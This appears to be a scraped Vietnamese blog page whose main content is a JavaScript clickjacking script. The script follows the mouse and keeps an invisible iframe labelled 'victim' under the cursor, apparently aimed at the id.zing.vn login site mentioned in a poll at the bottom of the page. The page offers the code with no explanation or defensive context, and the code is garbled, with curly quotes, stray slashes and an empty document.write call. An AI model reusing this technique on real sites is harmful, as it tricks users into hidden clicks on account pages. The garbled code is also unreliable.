Báo Việt Nam Net
function getPosition(e) {
e = e || window.event;
var cursor = {x:0, y:0};
if (e.pageX || e.pageY) {
cursor.x = e.pageX;
cursor.y = e.pageY;
} else {
var de = document.documentElement;
var b = document.body;
cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
(de.clientLeft || 0);
cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - /
(de.clientTop || 0);
}
return cursor;
}
function clickjacking(e) {
var loadFrame = document.getElementById(“victim”);
var curPos = getPosition(e);
loadFrame.setAttribute(‘style’,’opacity:0;position:absolute;top:’ + /
(curPos.y - 80) + ‘;left:’ + (curPos.x - 15) + ‘;’);
}
window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=clickjacking;
document.write(“”);
Đăng ký:
Bài đăng (Atom)
Tham khảo ý kiến
Bạn thấy nội dung và bố cục của website id.zing.vn thế nào?